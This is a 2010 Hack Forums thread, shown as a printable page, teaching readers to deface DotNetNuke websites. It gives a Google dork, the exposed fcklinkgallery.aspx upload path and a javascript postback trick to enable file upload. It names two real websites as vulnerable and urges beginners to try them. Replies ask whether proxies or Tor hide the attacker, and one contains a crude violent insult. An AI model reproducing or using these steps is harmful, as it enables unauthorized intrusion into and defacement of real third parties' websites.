Hack Forums
Learn How to hack websites Using DNN [Dot Net Nuke] Exploit - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Learn How to hack websites Using DNN [Dot Net Nuke] Exploit (/showthread.php?tid=778756)



Learn How to hack websites Using DNN [Dot Net Nuke] Exploit - longrifle0x - Oct 30, 2010

Hack Website Using DNN [Dot Net Nuke] Exploit


Using google DORK try to find the vulnerable website.

PHP Code

<?php 
inurl
:"/portals/0" 

You can also modify this google dork according to your need & requirement

I have found these 2 website vulnerable to this attack:

Code
http://www.wittur.se/
http://www.bsd405.org/

n00bs can also try both of these websites for testing purpose.

Open the home page and check any image which is located in /portals/0/
Check the location of the image. It should be located in /portals/0/

Now here is the exploit

PHP Code

<?php 
Providers
/HtmlEditorProviders/Fck/fcklinkgallery.aspx 

HOW TO RUN ?

Simply copy paste it as shown below:

Code
www.site.com/Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx

You will see the portal where it will ask you to upload. Select the third option File ( A File On Your Site
[img]http://s014.radikal.ru/i326/1010/0e/43c8e77eac9b.jpg[/img]
After selecting the third option, replace the URL bar with below script
PHP Code

<?php 
javascript
:__doPostBack('ctlURL$cmdUpload','') 

After running this JAVA script, you will see the option for Upload Selected File. Now select you image file which you have renamed as SHM.jpg & upload here. Go to main page and refresh...THAT,S IT you have hacked the website.

[img]http://s008.radikal.ru/i304/1010/e5/b2cf4041113f.jpg[/img]

🤝🤝🤝


* - ADIL - Oct 30, 2010

yes it's working tut but 2 old tut anyway nice share


* - ***** - Oct 30, 2010

Is using a proxie enough protection for this?


Does a web proxie provide enough protection for this?
I torbutton or a web proxie enough?


* - ***** - Oct 30, 2010

Is using a proxie enough protection for this?


* - ***** - Oct 30, 2010

Does a web proxie provide enough protection for this?


* - longrifle0x - Oct 30, 2010



No!!

:D lol

too short


* - Vito Scaletta - Oct 30, 2010

well, im a noob, can u help me a bit, cos i dont understand a thing on ur tut


* - longrifle0x - Oct 31, 2010

Nico

Yeah I can help you write me PM bro : )


* - 4bh1 - May 16, 2012

Dude one problem I could not see the options to upload the image


* - SIM-2662262 - Mar 25, 2015

Nice tut, but its extremely old. So not work for news website


* - Th3PonyWizard - Mar 25, 2015

(Mar 25, 2015 11:04 AM)Syide Wrote:  Nice tut, but its extremely old. So not work for news website
I want to tickle your scrotum with a katana.